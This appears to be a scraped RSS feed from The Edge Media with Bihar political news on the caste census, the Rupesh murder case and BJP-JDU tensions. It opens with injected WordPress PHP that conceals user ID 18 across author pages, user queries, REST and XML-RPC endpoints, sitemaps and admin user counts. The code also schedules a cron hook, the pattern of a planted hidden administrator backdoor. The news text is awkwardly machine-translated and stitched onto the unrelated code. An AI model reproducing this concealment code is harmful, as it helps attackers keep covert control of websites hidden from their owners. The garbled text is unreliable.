add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Nitish Kumar has agreed to take up the issue of a caste-based census with PM Modi : Tejashwi Yadav appeared first on The Edge Media.
]]>Mr Yadav said this while talking to reporters after calling on the chief minister inside the assembly premises, leading a delegation of leaders of the five-party Grand Alliance helmed by his RJD.
The Centre’s recent statement in the Parliament that a caste-based census would include only the Scheduled Tribes and Scheduled Castes has triggered a fresh demand for inclusion of the OBCs, who dominate the political scenario in Bihar post implementation of the Mandal commission report.
“The chief minister told us that he agreed with our demand for a caste based census. He said he was leaving for Delhi later in the day. Upon his return on August 02 he will write to the Prime Minister and seek an appointment”, Mr Yadav said.
The former Deputy Chief Minister has been suggesting that the chief minister should meet the PM heading a delegation, which could include the leader of the opposition, to broach the subject.
Notably, Mr Kumar, an OBC himself, too has repeatedly spoken in favour of holding a caste-based census and recently urged the centre to reconsider its stance on the issue.
Besides, resolutions in support of a caste-based census have been passed unanimously by both Houses of the state legislature in the past.
The post Nitish Kumar has agreed to take up the issue of a caste-based census with PM Modi : Tejashwi Yadav appeared first on The Edge Media.
]]>The post What happened in Bihar Legislative Assembly that has never happened till date appeared first on The Edge Media.
]]>The post What happened in Bihar Legislative Assembly that has never happened till date appeared first on The Edge Media.
]]>The post When asked about the Rupesh murder case, Nitish was furious, he told the reporters – did Jungleraj forget? appeared first on The Edge Media.
]]>Nitish said that if someone is killed, it is very sad. The police is investigating the entire case and the speedy trial will be conducted after the culprits are caught. The DGP has assured me that the matter is being thoroughly investigated. It should also be investigated what is the reason for the murder and what is the reason for the murder. He said that I ask the journalists what are you guys supporting? Why does the media not highlight the crime committed under husband and wife?
There was a fierce debate between Nitish Kumar and journalists on the issue of law and order. Nitish told journalists that if they get information about any crime, then tell DGP. Journalists said that DGP sahib does not pick up the phone. After this, Nitish Kumar directly called DGP SK Singhal.
The post When asked about the Rupesh murder case, Nitish was furious, he told the reporters – did Jungleraj forget? appeared first on The Edge Media.
]]>The post Yogi model or Nitish model? What will be the agenda of NDA government in Bihar appeared first on The Edge Media.
]]>Please tell that 42 year old Indigo manager Rupesh Kumar Singh was working at Patna Airport. On Tuesday, two bike-ridden criminals killed him in front of his house by firing them. In the capital’s high profile area, the politics of Bihar has been heated due to the murder. On the one hand, the opposition has opened a front against the Nitish government on the law and order and on the other hand BJP and JDU leaders have come face to face.
BJP’s Chhattisgarh co-in-charge and Bihar Bankipur MLA Nitin Naveen has suggested to the government in Bihar to implement Yogi Adityanath’s encounter model of crime control in Uttar Pradesh. He has said that the law and order situation in Bihar is getting worse day by day, which is a big challenge for the Nitish government. The Bihar government should seriously consider this and the state should also adopt the Yogi model against criminals on the lines of UP. From BJP Rajya Sabha member Vivek Thakur to Chhapra BJP MP Rajiv Pratap Rudy, all BJP leaders have questioned the functioning of Bihar Police.
On the statement made by many leaders including BJP MLA Nitin Naveen to question the law and order in Bihar and adopting UP’s Yogi model here, JDU has said that crime will be controlled only by Nitish model in Bihar. JDU’s chief spokesperson Sanjay Kumar objected to the BJP MLA’s statement that Bihar has Nitish Kumar’s government and law and order is under control. With the development of Bihar under the Nitish model, the rule of law has also been established. Nitish government does not need a certificate from anyone on law and order.
Leader of Opposition Tejashwi Yadav said that if the department is not handling Nitish Kumar, then give it to someone else. Anyway, he did not have the desire to become CM, so why are he forcibly made. Talking about other recent big cases with Rupesh murder, Tejashwi has alleged that the demon raj in Bihar has said that Bihar is not able to handle the ‘C grade party’s compassionate chief minister’ Nitish Kumar, so he should resign immediately. He also demanded an impartial inquiry into the entire matter, saying that usually the opposition raises questions, but it is ridiculous that Bijpi is also raising questions, which is in the government itself.
The way swords have been pulled together in the BJP and JDU over the law and order of Bihar. Home department is with Chief Minister Nitish Kumar. Because of this, BJP continues to question the functioning of the police even after being an ally in power.
Actually, JDU seats have come down from BJP this time in Bihar assembly elections. BJP has got 74 seats while JDU has got 43 seats. It has been two months since the Nitish government was formed in Bihar, but so far neither the cabinet has been expanded nor the Legislative Council seats have been agreed. The reason behind this is that the BJP is asking for more ministerial posts in the cabinet, but Nitish is not ready to agree on this. Not only this, BJP being a big party in Bihar wants to interfere in the government according to its own, but JDU is insisting on its own.
The post Yogi model or Nitish model? What will be the agenda of NDA government in Bihar appeared first on The Edge Media.
]]>The post Nitish’s new education minister has been in controversies, suspended on corruption charges appeared first on The Edge Media.
]]>The post Nitish’s new education minister has been in controversies, suspended on corruption charges appeared first on The Edge Media.
]]>